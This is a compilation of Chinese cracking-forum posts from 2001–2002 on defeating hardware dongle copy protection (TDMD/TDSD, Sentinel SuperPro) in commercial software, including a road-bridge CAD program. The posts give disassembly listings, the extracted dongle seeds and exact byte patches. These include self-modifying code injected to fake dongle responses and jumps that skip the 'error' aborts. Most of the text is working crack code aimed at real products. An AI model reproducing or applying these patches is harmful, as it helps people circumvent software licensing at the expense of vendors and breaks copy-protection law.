也许你会问，那把ESI的值改为0不就破掉了吗？那你错了，金天地的TDMD&TDSD狗不单单是返回一个标志，还会返回一个种子，程序要用这个种子来解密程序中的字符，如果没有这个种子，程序中的字符将会显示乱码，所以如果没有狗，是不知道这个种子的。

* Reference To: MSVBVM60.__vbaSetSystemError, Ord:0000h
|
:0043696E FF1558104000 Call dword ptr [00401058]
:00436974 8B55CC mov edx, dword ptr [ebp-34] <=====取种子K7W9B3T2R9
:00436977 52 push edx
:00436978 8D45DC lea eax, dword ptr [ebp-24] <=====取种子地址，这个地址是560A48
:0043697B 50 push eax

* Reference To: MSVBVM60.__vbaStrToUnicode, Ord:0000h
|
:0043697C FF1568114000 Call dword ptr [00401168] <=====扩展为unicode
:00436982 8D4DCC lea ecx, dword ptr [ebp-34]

* Reference To: MSVBVM60.__vbaFreeStr, Ord:0000h
|
:00436985 FF1564124000 Call dword ptr [00401264]
:0043698B 3BF7 cmp esi, edi <=====判断狗的标志，如果不相同，则跳到出错信息框的地方
:0043698D 754B jne 004369DA
:0043698F 8D4DDC lea ecx, dword ptr [ebp-24]

程序破完了吗？当然还没有，这个程序是两次读狗，怎么知道呢？方法很简单，在win32DLL.DLL的DOGREAD函数第一行下一个断点，如下：

Exported fn(): DogRead - Ord:0001h
:10001020 8B442408 mov eax, dword ptr [esp+08] <=====下断点
:10001024 56 push esi
:10001025 8B742408 mov esi, dword ptr [esp+08]
:10001029 57 push edi
:1000102A 8B7C2414 mov edi, dword ptr [esp+14]
:1000102E 893550950010 mov dword ptr [10009550], esi
:10001034 893D58950010 mov dword ptr [10009558], edi
:1000103A A354950010 mov dword ptr [10009554], eax
:1000103F E85C020000 call 100012A0
:10001044 C6043E00 mov byte ptr [esi+edi], 00
:10001048 5F pop edi
:10001049 5E pop esi
:1000104A C20C00 ret 000C

然后在地址43698B处把ESI改为0，然后按F5，程序被中断了，按一次F12，再按一次F10，返回到第二次读狗的地方，如下：

* Possible StringData Ref from Code Obj ->"AAAAAAAAAAAAAAAAAAAAA" <=====查狗的查询串，用来算出返回的种子
|
:0041324B BA4C754000 mov edx, 0040754C
:00413250 8D4DEC lea ecx, dword ptr [ebp-14]
:00413253 897DEC mov dword ptr [ebp-14], edi
:00413256 897DDC mov dword ptr [ebp-24], edi
:00413259 897DCC mov dword ptr [ebp-34], edi
:0041325C 897DBC mov dword ptr [ebp-44], edi

* Reference To: MSVBVM60.__vbaStrCopy, Ord:0000h
|
:0041325F FF15D0114000 Call dword ptr [004011D0]
:00413265 8B45EC mov eax, dword ptr [ebp-14]
:00413268 8D4DDC lea ecx, dword ptr [ebp-24]
:0041326B 50 push eax
:0041326C 51 push ecx

* Reference To: MSVBVM60.__vbaStrToAnsi, Ord:0000h
|
:0041326D FF150C124000 Call dword ptr [0040120C]
:00413273 50 push eax
:00413274 6A0A push 0000000A
:00413276 6A14 push 00000014
:00413278 E85744FFFF call 004076D4 <=====读狗的CALL
:0041327D 8BF0 mov esi, eax <=====返回到这里

* Reference To: MSVBVM60.__vbaSetSystemError, Ord:0000h
|
:0041327F FF1558104000 Call dword ptr [00401058]
:00413285 8B55DC mov edx, dword ptr [ebp-24] <=====取种子793a7fe2a9f3e1cf31f5
:00413288 8D45EC lea eax, dword ptr [ebp-14] <=====取种子地址：4694DC
:0041328B 52 push edx
:0041328C 50 push eax

* Reference To: MSVBVM60.__vbaStrToUnicode, Ord:0000h
|
:0041328D FF1568114000 Call dword ptr [00401168]
:00413293 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM60.__vbaFreeStr, Ord:0000h
|
:00413296 FF1564124000 Call dword ptr [00401264]
:0041329C 3BF7 cmp esi, edi <=====比较标志
:0041329E 753D jne 004132DD <=====不相等则跳
:004132A0 8D55BC lea edx, dword ptr [ebp-44]

好了，我们已经知道程序返回的种子了，下一步是怎么样补丁程序了，我们要把两个种子分别写入560A48和4694DC这两个地址，并把标志改为有狗的标志，我采用的方法是用SMC。在程序中地址为402526找到一片连续的大概有200字节的空间，而且程序没有用这些空间，这足够我们写SMC指令了。

我们先把436974-436978这三条指令记下来，因为我们要在这里加入跳到我们写的SMC指令，改动后的指令如下：

:00436967 E8680DFDFF call 004076D4
:0043696C 8BF0 mov esi, eax

* Reference To: MSVBVM60.__vbaSetSystemError, Ord:0000h
|
:0043696E FF1558104000 Call dword ptr [00401058]
:00436974 E9ADBBFCFF jmp 00402526 <====改动的指令

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040254F(U)
|
:00436979 90 nop <====改动的指令
:0043697A 90 nop <====改动的指令
:0043697B 50 push eax

同样，在第二次读狗处也改为如下：

:00413278 E85744FFFF call 004076D4
:0041327D 8BF0 mov esi, eax

* Reference To: MSVBVM60.__vbaSetSystemError, Ord:0000h
|
:0041327F FF1558104000 Call dword ptr [00401058]
:00413285 E9CFF2FEFF jmp 00402559 <====改动的指令

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402593(U)
|
:0041328A 90 nop <=====改动的指令
:0041328B 52 push edx
:0041328C 50 push eax

下面是第一个SMC：

:00402526 C705480A56004B375739 mov dword ptr [00560A48], 3957374B <====写入种子
:00402530 C7054C0A560042335432 mov dword ptr [00560A4C], 32543342
:0040253A 66C705500A56005239 mov word ptr [00560A50], 3952
:00402543 8B55CC mov edx, dword ptr [ebp-34] <=====还原原程序的指令
:00402546 52 push edx <=====还原原程序的指令
:00402547 8D45DC lea eax, dword ptr [ebp-24] <=====还原原程序的指令
:0040254A BE00000000 mov esi, 00000000 <=====修改判断狗的标志
:0040254F E925440300 jmp 00436979 <=====跳回原程序

第二个SMC：

:00402559 C705DC94460037393341 mov dword ptr [004694DC], 41333937 <====写入种子
:00402563 C705E094460037464532 mov dword ptr [004694E0], 32454637
:0040256D C705E494460041394633 mov dword ptr [004694E4], 33463941
:00402577 C705E894460045314346 mov dword ptr [004694E8], 46433145
:00402581 C705EC94460033314635 mov dword ptr [004694EC], 35463133
:0040258B 8B55DC mov edx, dword ptr [ebp-24] <=====还原原程序的指令
:0040258E 8D45EC lea eax, dword ptr [ebp-14] <=====还原原程序的指令
:00402591 33F6 xor esi, esi <=====修改判断狗的标志
:00402593 E9F20C0100 jmp 0041328A <=====跳回原程序

我不会用TOPO这个软件，我用这个程序增加字节后不能跳到修改的指令地址处，不知是为什么，哪位朋友知道的，可以教一下我好吗？

从我破解过的TDMD&TDSD狗中，绝大部份是要原狗才能破的，从中可以知道这种狗的特点是要用狗里面的数据来运算，如果没有原狗，几乎是没有办法来破解的，但在有狗的情况下，破解它却是很容易的。


路桥CAD软件(XCHT14)

 标 题:一个典型的破狗例子，送给PPP307做参考，同时宣布我回家修炼，愿BCG和CCG发扬光大，并保留我的荣誉地位 (12千字)
发信人:shou_xin
时 间:2001-10-15 23:52:01
详细信息:
前几天PPP307送给我一个路桥CAD软件(XCHT14),说实话，软件编制的不是很好，但是他体现了初学者
的crack思路，和忽视的方面。在这里把他补上，总共改动4个字节就收工了。

主程序：newxcht.arx
读狗主控程序：TDMD.vxd(不用我说，大家也知道是什么狗了)
工具：softICE4.0 w32dasm

反编译后可以找到以下字串，不过ppp307为了表示自己的恒心和毅力。把它都改掉了。
由以下代码可以知道，调用10006520的共17处。但是我们没有必要path每一处代码，只要看
程序从这个call返回了什么就行了。通常我们知道早期的狗都是返回一个标志。
而这个程序非常聪明的返回了一个标志并且携带了一个种子
=================================================================================
* Referenced by a CALL at Addresses:
|:100084C9 , :1000AABC , :1000B091 , :1000BD46 , :1000C704
|:1000E15A , :1000E8DA , :100151FC , :1001A680 , :1001A7AC
|:1001AA71 , :1001B5BB , :1001DF45 , :10021FE2 , :10022CC1
|:10023074 , :10023154
|
:10006520 83EC40 sub esp, 00000040
:10006523 B907000000 mov ecx, 00000007
:10006528 56 push esi
:10006529 57 push edi

* Possible StringData Ref from Data Obj ->"我要解密！ 我要解密！！！ 1974"
|
:1000652A BE84190310 mov esi, 10031984
:1000652F 8D7C2408 lea edi, dword ptr [esp+08]
:10006533 F3 repz
:10006534 A5 movsd
:10006535 66A5 movsw
:10006537 A4 movsb

* Possible StringData Ref from Data Obj ->"我要解密！ 我要解密！！！ 1972"
|
:10006538 BE64190310 mov esi, 10031964
:1000653D 8D7C2428 lea edi, dword ptr [esp+28]
:10006541 B907000000 mov ecx, 00000007
:10006546 F3 repz
:10006547 A5 movsd
:10006548 66A5 movsw
:1000654A A4 movsb
:1000654B C705E4500310E9F40000 mov dword ptr [100350E4], 0000F4E9
:10006555 C705EC50031000000000 mov dword ptr [100350EC], 00000000
:1000655F C705E85003101E000000 mov dword ptr [100350E8], 0000001E
:10006569 8D442408 lea eax, dword ptr [esp+08]
:1000656D A3E0500310 mov dword ptr [100350E0], eax
:10006572 E8C9D3FFFF call 10003940------------->进入狗调用
:10006577 85C0 test eax, eax
:10006579 740D je 10006588
------------------------------------------------------------------
:10006572 EB38 jmp 100065AC
:10006574 D3FF sar edi, cl
:10006576 FF85C0740D68 inc dword ptr [ebp+680D74C0]
:1000657C 50 push eax
------------------------------------------------------------------我改动的地方

* Possible StringData Ref from Data Obj ->"
Dog reading error:"
|
:1000657B 6850190310 push 10031950

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:10006580 E8D1D30100 Call 10023956
:10006585 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006579(C)
|
:10006588 8D442408 lea eax, dword ptr [esp+08]
:1000658C 8D4C2428 lea ecx, dword ptr [esp+28]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065AA(C)
|
:10006590 8A10 mov dl, byte ptr [eax]
:10006592 3A11 cmp dl, byte ptr [ecx]
:10006594 751A jne 100065B0
:10006596 0AD2 or dl, dl
:10006598 7412 je 100065AC
:1000659A 8A5001 mov dl, byte ptr [eax+01]
:1000659D 3A5101 cmp dl, byte ptr [ecx+01]
:100065A0 750E jne 100065B0
:100065A2 83C002 add eax, 00000002
:100065A5 83C102 add ecx, 00000002
:100065A8 0AD2 or dl, dl
:100065AA 75E4 jne 10006590

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006598(C)
|
:100065AC 33C0 xor eax, eax
:100065AE EB05 jmp 100065B5
-------------------------------------------------------------------
:100065AC 33C0 xor eax, eax 我改动的地方
:100065AE EB47 jmp 100065F7
-------------------------------------------------------------------
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10006594(C), :100065A0(C)
|
:100065B0 1BC0 sbb eax, eax
:100065B2 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065AE(U)
|
:100065B5 85C0 test eax, eax
:100065B7 740D je 100065C6

* Possible StringData Ref from Data Obj ->"
error"
|
:100065B9 6848190310 push 10031948

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:100065BE E893D30100 Call 10023956
:100065C3 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065B7(C)
|
:100065C6 E815C4FFFF call 100029E0
:100065CB 8BD0 mov edx, eax
:100065CD 8B7C244C mov edi, dword ptr [esp+4C]
:100065D1 B9FFFFFFFF mov ecx, FFFFFFFF
:100065D6 2BC0 sub eax, eax
:100065D8 893DE0500310 mov dword ptr [100350E0], edi
:100065DE F2 repnz
:100065DF AE scasb
:100065E0 F7D1 not ecx
:100065E2 49 dec ecx
:100065E3 85D2 test edx, edx
:100065E5 890DE8500310 mov dword ptr [100350E8], ecx
:100065EB 7505 jne 100065F2
:100065ED E82ECDFFFF call 10003320

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065EB(C)
|
:100065F2 A148160310 mov eax, dword ptr [10031648]
:100065F7 5F pop edi
:100065F8 5E pop esi
:100065F9 83C440 add esp, 00000040
:100065FC C3 ret
======================================================================================
之所以把代码贴的比较长，不过是为了教学方便而已。可以比较清晰看到程序流程
下面是对call 10006520的一个主要调用
======================================================================================
* Possible StringData Ref from Data Obj ->"s_layer"
|
:1000B08C 680C130310 push 1003130C
:1000B091 E88AB4FFFF call 10006520------------------->判断狗
:1000B096 89442414 mov dword ptr [esp+14], eax----->
:1000B09A 83C404 add esp, 00000004

* Reference To: ACAD.ads_getargs, Ord:0D93h
|
:1000B09D E890880100 Call 10023932
:1000B0A2 8BD0 mov edx, eax
:1000B0A4 85D2 test edx, edx
:1000B0A6 7442 je 1000B0EA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B0E8(C)
|
:1000B0A8 0FBF6A04 movsx ebp, word ptr [edx+04]
:1000B0AC 81FD8D130000 cmp ebp, 0000138D
:1000B0B2 7524 jne 1000B0D8
:1000B0B4 8B7A06 mov edi, dword ptr [edx+06]
:1000B0B7 B9FFFFFFFF mov ecx, FFFFFFFF
:1000B0BC 2BC0 sub eax, eax
:1000B0BE F2 repnz
:1000B0BF AE scasb
:1000B0C0 F7D1 not ecx
:1000B0C2 2BF9 sub edi, ecx
:1000B0C4 8BC1 mov eax, ecx
:1000B0C6 C1E902 shr ecx, 02
:1000B0C9 8BF7 mov esi, edi
:1000B0CB 8D7C2414 lea edi, dword ptr [esp+14]
:1000B0CF F3 repz
:1000B0D0 A5 movsd
:1000B0D1 8BC8 mov ecx, eax
:1000B0D3 83E103 and ecx, 00000003
:1000B0D6 F3 repz
:1000B0D7 A4 movsb

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B0B2(C)
|
:1000B0D8 81FD8B130000 cmp ebp, 0000138B
:1000B0DE 7504 jne 1000B0E4
:1000B0E0 0FBF5A06 movsx ebx, word ptr [edx+06]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B0DE(C)
|
:1000B0E4 8B12 mov edx, dword ptr [edx]
:1000B0E6 85D2 test edx, edx
:1000B0E8 75BE jne 1000B0A8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B0A6(C)
|
:1000B0EA 8D442414 lea eax, dword ptr [esp+14]
:1000B0EE 6A00 push 00000000
:1000B0F0 50 push eax

* Possible StringData Ref from Data Obj ->"layer"
|
:1000B0F1 6848170310 push 10031748

* Reference To: ACAD.ads_tblsearch, Ord:0DF6h
|
:1000B0F6 E843880100 Call 1002393E
:1000B0FB 83C40C add esp, 0000000C
:1000B0FE 85C0 test eax, eax
:1000B100 6888130000 push 00001388
:1000B105 6878160310 push 10031678
:1000B10A 688D130000 push 0000138D
:1000B10F 7542 jne 1000B153
:1000B111 8D442420 lea eax, dword ptr [esp+20]
:1000B115 6878160310 push 10031678
:1000B11A 688D130000 push 0000138D
:1000B11F 53 push ebx
:1000B120 688B130000 push 0000138B

* Possible StringData Ref from Data Obj ->"cc"
|
:1000B125 68C0170310 push 100317C0
:1000B12A 688D130000 push 0000138D
:1000B12F 50 push eax
:1000B130 688D130000 push 0000138D

* Possible StringData Ref from Data Obj ->"mm"
|
:1000B135 6850170310 push 10031750
:1000B13A 688D130000 push 0000138D

* Possible StringData Ref from Data Obj ->"layer"
|
:1000B13F 6848170310 push 10031748
:1000B144 688D130000 push 0000138D

* Reference To: ACAD.ads_command, Ord:0D6Dh
|
:1000B149 E84E870100 Call 1002389C
:1000B14E 83C43C add esp, 0000003C
:1000B151 EB26 jmp 1000B179

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B10F(C)
|
:1000B153 8D442420 lea eax, dword ptr [esp+20]
:1000B157 50 push eax
:1000B158 688D130000 push 0000138D

* Possible StringData Ref from Data Obj ->"ss"
|
:1000B15D 68001F0310 push 10031F00
:1000B162 688D130000 push 0000138D

* Possible StringData Ref from Data Obj ->"layer"
|
:1000B167 6848170310 push 10031748
:1000B16C 688D130000 push 0000138D

* Reference To: ACAD.ads_command, Ord:0D6Dh
|
:1000B171 E826870100 Call 1002389C
:1000B176 83C424 add esp, 00000024

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B151(U)
|
:1000B179 817C2410508AD6B0 cmp dword ptr [esp+10], B0D68A50---------->b0d68a50(种子）
:1000B181 740D(eb0d) je 1000B190---------->自然是要跳了,也就是它产生了内部错误
改动的地方
* Possible StringData Ref from Data Obj ->"error"
|
:1000B183 68F01C0310 push 10031CF0

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:1000B188 E8C9870100 Call 10023956
:1000B18D 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000B181(C)
|
:1000B190 B8EC130000 mov eax, 000013EC
:1000B195 5D pop ebp
:1000B196 5F pop edi
:1000B197 5E pop esi
:1000B198 5B pop ebx
:1000B199 83C414 add esp, 00000014
:1000B19C C3 ret
==========================================================================================

其实我用的方法不过是在程序内部自建了一个简单的驱动,是smc应用的雏形.有的时候smc是处理狗驱动的
唯一方法或者是最好的方法

新疆[BCG]&shou_xin[CCG]其实是一个人哦

2001.10.15

标 题:Sorry,新疆大哥，不行啊！照你这样还仍旧有16处要修改，都是在字符串"error"前？ (128字)
发信人:ppp307
时 间:2001-10-16 19:46:13
详细信息:

Sorry,新疆大哥，不行啊！照你这样仍旧有17处要修改，都是在字符串"error"前？运行菜单中的其它一些功能（如三维生成）还是要报"error"！

标 题:可否这样改？ (5千字)
发信人:ppp307
时 间:2001-10-16 19:54:57
详细信息:

如：
* Reference To: ACAD.ads_menucmd, Ord:0DBBh
|
:10008CF8 E8ABAB0100 Call 100238A8
:10008CFD 83C404 add esp, 00000004
:10008D00 817C245855F108A1 cmp dword ptr [esp+58], A108F155　　<--------
:10008D08 740D je 10008D17 <--------

* Possible StringData Ref from Data Obj ->"error"
|
:10008D0A 68F01C0310 push 10031CF0

可否这样改：

* Referenced by a CALL at Addresses:
|:100084C9 , :1000AABC , :1000B091 , :1000BD46 , :1000C704
|:1000E15A , :1000E8DA , :100151FC , :1001A680 , :1001A7AC
|:1001AA71 , :1001B5BB , :1001DF45 , :10021FE2 , :10022CC1
|:10023074 , :10023154
|
:10006520 83EC40 sub esp, 00000040
:10006523 B907000000 mov ecx, 00000007
:10006528 56 push esi
:10006529 57 push edi

* Possible StringData Ref from Data Obj ->"我要解密！ 我要解密！！！ 1974"
|
:1000652A BE84190310 mov esi, 10031984
:1000652F 8D7C2408 lea edi, dword ptr [esp+08]
:10006533 F3 repz
:10006534 A5 movsd
:10006535 66A5 movsw
:10006537 A4 movsb

* Possible StringData Ref from Data Obj ->"我要解密！ 我要解密！！！ 1972"
|
:10006538 BE64190310 mov esi, 10031964
:1000653D 8D7C2428 lea edi, dword ptr [esp+28]
:10006541 B907000000 mov ecx, 00000007
:10006546 F3 repz
:10006547 A5 movsd
:10006548 66A5 movsw
:1000654A A4 movsb
:1000654B C705E4500310E9F40000 mov dword ptr [100350E4], 0000F4E9
:10006555 C705EC50031000000000 mov dword ptr [100350EC], 00000000
:1000655F C705E85003101E000000 mov dword ptr [100350E8], 0000001E
:10006569 8D442408 lea eax, dword ptr [esp+08]
:1000656D A3E0500310 mov dword ptr [100350E0], eax
:10006572 E8C9D3FFFF call 10003940------------->进入狗调用
:10006577 85C0 test eax, eax
:10006579 740D je 10006588 　<------ 我跳，eb0d

* Possible StringData Ref from Data Obj ->"
Dog reading error:"
|
:1000657B 6850190310 push 10031950

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:10006580 E8D1D30100 Call 10023956
:10006585 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006579(C)
|
:10006588 8D442408 lea eax, dword ptr [esp+08]
:1000658C 8D4C2428 lea ecx, dword ptr [esp+28]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065AA(C)
|
:10006590 8A10 mov dl, byte ptr [eax]
:10006592 3A11 cmp dl, byte ptr [ecx]
:10006594 751A jne 100065B0
:10006596 0AD2 or dl, dl
:10006598 7412 je 100065AC
:1000659A 8A5001 mov dl, byte ptr [eax+01]
:1000659D 3A5101 cmp dl, byte ptr [ecx+01]
:100065A0 750E jne 100065B0
:100065A2 83C002 add eax, 00000002
:100065A5 83C102 add ecx, 00000002
:100065A8 0AD2 or dl, dl
:100065AA 75E4 jne 10006590

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006598(C)
|
:100065AC 33C0 xor eax, eax
:100065AE EB05 jmp 100065B5

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10006594(C), :100065A0(C)
|
:100065B0 1BC0 sbb eax, eax
:100065B2 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065AE(U)
|
:100065B5 85C0 test eax, eax
:100065B7 740D je 100065C6 <-------- 我跳　eb0d

* Possible StringData Ref from Data Obj ->"
error"
|
:100065B9 6848190310 push 10031948

* Reference To: ACAD.acrx_abort, Ord:0D5Dh
|
:100065BE E893D30100 Call 10023956
:100065C3 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065B7(C)
|
:100065C6 E815C4FFFF call 100029E0
:100065CB 8BD0 mov edx, eax
:100065CD 8B7C244C mov edi, dword ptr [esp+4C]
:100065D1 B9FFFFFFFF mov ecx, FFFFFFFF
:100065D6 2BC0 sub eax, eax
:100065D8 893DE0500310 mov dword ptr [100350E0], edi
:100065DE F2 repnz
:100065DF AE scasb
:100065E0 F7D1 not ecx
:100065E2 49 dec ecx
:100065E3 85D2 test edx, edx
:100065E5 890DE8500310 mov dword ptr [100350E8], ecx
:100065EB 7505 jne 100065F2
:100065ED E82ECDFFFF call 10003320

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100065EB(C)
|
:100065F2 A148160310 mov eax, dword ptr [10031648]
:100065F7 5F pop edi
:100065F8 5E pop esi
:100065F9 83C440 add esp, 00000040
:100065FC C3 ret

再更改17处"error"提示处，以上运行通过，但我想应该有更简单的方法

标 题:破狗的一些思路,仅供参考.PPP307注意了 (421字)
发信人:新疆
时 间:2001-10-16 22:56:56
详细信息:

是这样的该的方案是针对你修改了十七处CALL来说的,其实并不一定只要一个字节就搞定了,我的贴子的目的是告诉你有更简单的方案去修改,起码要省去很多要PATCH的代码.
有时候破狗就是这样的,而且你大幅度改动CALL有可能造成程序非法操作和MFC程序runtime error.这些都是要尽量避免的,还会留下跨平台的不兼容等的后遗症.
所以不必强纠一定要缩减至很少的代码.

给初学者的礼物
新疆[BCG]&shou_xin[CCG]


圣天诺

 标 题:抛砖引玉的说说圣天诺super pro的外壳上篇 (7千字)
发信人:shou_xin
时 间:2001-9-17 11:12:17
详细信息:
我们用notepad.exe加上super pro的壳看看：
用w32dasm可以看到如下的段

Object01: 0000001 RVA: 00001000 Offset: 00001000 Size: 00004000 Flags: 60000040
Object02: 0000002 RVA: 00005000 Offset: 00005000 Size: 00001000 Flags: C0000040
Object03: 0000003 RVA: 00006000 Offset: 00006000 Size: 00001000 Flags: C0000040
Object04: .rsrc RVA: 00007000 Offset: 00007000 Size: 00005000 Flags: 40000040
Object05: 0000005 RVA: 0000C000 Offset: 0000C000 Size: 00001000 Flags: C2000040
Object06: 0000006 RVA: 0000D000 Offset: 0000D000 Size: 0000AA00 Flags: C0000040
Object07: 0000007 RVA: 00018000 Offset: 00018000 Size: 00000A00 Flags: C0000040
Object08: 0000008 RVA: 00019000 Offset: 00019000 Size: 00008800 Flags: 60000020
Object09: 0000009 RVA: 00022000 Offset: 00022000 Size: 00001000 Flags: 42000040
其中的0000008是壳，而0000001 和0000002 是程序的主体部分。这个两个部分是经过一个32位的
密码加密过的,两个段的密码不同。所以说要想穷举的可能性很低，我一直在找密码的存放位置，
但是暂时没有结果。
当初拿到这个外壳的时候，以为他的花指令很厉害，经过仔细研究发现，它有庞大的二叉树判断
体系,跟踪者被它的标志指搞的晕头转向，不明白他的来龙去脉。所以在跟踪的时候，我们要暂时
避开他的程序主体。通过deviceiocontrol这个主要函数。和它的API调用方式联系起来，你就会有
比较清晰的破解和跟踪思路，所以大家如果要跟踪的话，最好是下载它的API调用说明。以及返回值
的具体含义，如果配合狗就会更加简单。
=======================================================================================
//******************** Program Entry Point ********
:00419770 833D80EB400000 cmp dword ptr [0040EB80], 00000000
:00419777 53 push ebx
:00419778 56 push esi
:00419779 57 push edi
:0041977A 55 push ebp
:0041977B 0F8529070000 jne 00419EAA
:00419781 FF0580EB4000 inc dword ptr [0040EB80]
:00419787 BE04000000 mov esi, 00000004
:0041978C BFFCFFFFFF mov edi, FFFFFFFC

* Reference To: KERNEL32.GetTickCount, Ord:0130h
|
:00419791 FF15E4814100 Call dword ptr [004181E4]

* Possible Ref to Menu: MenuID_0001, Item: "鍉 "
|
:00419797 BB08000000 mov ebx, 00000008
:0041979C 0105E4784100 add dword ptr [004178E4], eax

* Reference To: KERNEL32.GetCurrentProcessId, Ord:00C5h
|
:004197A2 FF15E0814100 Call dword ptr [004181E0]
:004197A8 3105E4784100 xor dword ptr [004178E4], eax
:004197AE 810DE478410001002000 or dword ptr [004178E4], 00200001
:004197B8 8125E4784100FFFFFF3F and dword ptr [004178E4], 3FFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041980F(U), :00419829(U), :00419843(U), :00419860(U), :0041987D(U) 这里就是所谓的转向开关的位置
|:0041989A(U), :004198B7(U), :004198D4(U), :004198F1(U), :0041990E(U)
|:0041992B(U), :00419948(U), :00419965(U), :0041998B(U), :004199C5(U)
|:004199E1(U), :00419A22(C), :00419A32(U), :00419A66(U), :00419A89(U)
|:00419AB2(U), :00419ADB(U), :00419AF4(U), :00419B17(U), :00419B3A(U)
|:00419B5D(U), :00419B91(U), :00419BB4(U), :00419BD7(U), :00419BF2(C)
|:00419C17(U), :00419C34(U), :00419C75(C), :00419C85(U), :00419CA8(U)
|:00419CC3(C), :00419CE8(U), :00419D0E(U), :00419D44(U), :00419D76(U)
|:00419DA3(U), :00419DBE(U), :00419DE0(U), :00419E0E(U), :00419E40(U)
|
:004197C2 A13CFC4000 mov eax, dword ptr [0040FC3C]
:004197C7 8B0D3CFC4000 mov ecx, dword ptr [0040FC3C]
:004197CD 668B00 mov ax, word ptr [eax]
:004197D0 66A348FC4000 mov word ptr [0040FC48], ax
:004197D6 668B5102 mov dx, word ptr [ecx+02]
:004197DA 6689154CFC4000 mov word ptr [0040FC4C], dx
:004197E1 8B4104 mov eax, dword ptr [ecx+04]
:004197E4 A340FC4000 mov dword ptr [0040FC40], eax
:004197E9 011D3CFC4000 add dword ptr [0040FC3C], ebx
:004197EF 33C0 xor eax, eax
:004197F1 66A148FC4000 mov ax, word ptr [0040FC48]
:004197F7 3D42030000 cmp eax, 00000342
:004197FC 7F13 jg 00419811
:004197FE 0F84C6010000 je 004199CA
:00419804 3DE4000000 cmp eax, 000000E4
:00419809 0F8481010000 je 00419990
:0041980F EBB1 jmp 004197C2----------------->一般到这里不是失败就是判断结束
==========================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041983D(C)
|
:00419E45 33C0 xor eax, eax
:00419E47 66A14CFC4000 mov ax, word ptr [0040FC4C]
:00419E4D A36CEC4000 mov dword ptr [0040EC6C], eax
:00419E52 83F80A cmp eax, 0000000A
:00419E55 770F ja 00419E66
:00419E57 33C9 xor ecx, ecx
:00419E59 8A88DC9E4100 mov cl, byte ptr [eax+00419EDC]
:00419E5F FF248DC89E4100 jmp dword ptr [4*ecx+00419EC8]---->判断正确的ECX=0
程序会跳到00419EAA
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00419E55(C)
|

* Possible Ref to Menu: MenuID_0001, Item: "鎄:(A)..."
|
:00419E66 C7056CEC400002000000 mov dword ptr [0040EC6C], 00000002
:00419E70 66812504D04000FEFF and word ptr [0040D004], FFFE
:00419E79 6810200000 push 00002010
:00419E7E E8EDF1FFFF call 00419070
:00419E83 50 push eax
:00419E84 E8970A0000 call 0041A920
:00419E89 83C408 add esp, 00000008
:00419E8C F60504D0400001 test byte ptr [0040D004], 01
:00419E93 750C jne 00419EA1
:00419E95 A16CEC4000 mov eax, dword ptr [0040EC6C]
:00419E9A 50 push eax

* Reference To: KERNEL32.ExitProcess, Ord:0062h
|
:00419E9B FF15DC814100 Call dword ptr [004181DC]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00419E93(C)
|
:00419EA1 33C0 xor eax, eax
:00419EA3 5D pop ebp
:00419EA4 5F pop edi
:00419EA5 5E pop esi
:00419EA6 5B pop ebx
:00419EA7 C20C00 ret 000C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041977B(C)
|
:00419EAA 8B44241C mov eax, dword ptr [esp+1C]
:00419EAE 8B4C2418 mov ecx, dword ptr [esp+18]
:00419EB2 8B542414 mov edx, dword ptr [esp+14]
:00419EB6 50 push eax
:00419EB7 51 push ecx
:00419EB8 52 push edx
:00419EB9 FF1570EB4000 call dword ptr [0040EB70]这里是入口处，当然判断错误和密码不对
:00419EBF 5D pop ebp 我们得到的就是垃圾
:00419EC0 5F pop edi
:00419EC1 5E pop esi
:00419EC2 5B pop ebx
:00419EC3 C20C00 ret 000C
=============================================================================

新疆[BCG]&shou_xin[CCG]其实是一个人哦。
写在结婚前夕，下篇以后在写吧。
2001-9-17


深思3乱弹

 标 题:[转贴]深思3乱弹（一）——口令 (1千字)
发信人:cbhappy
时 间:2002-1-24 1:07:14
详细信息:
深思3乱弹（一）——口令
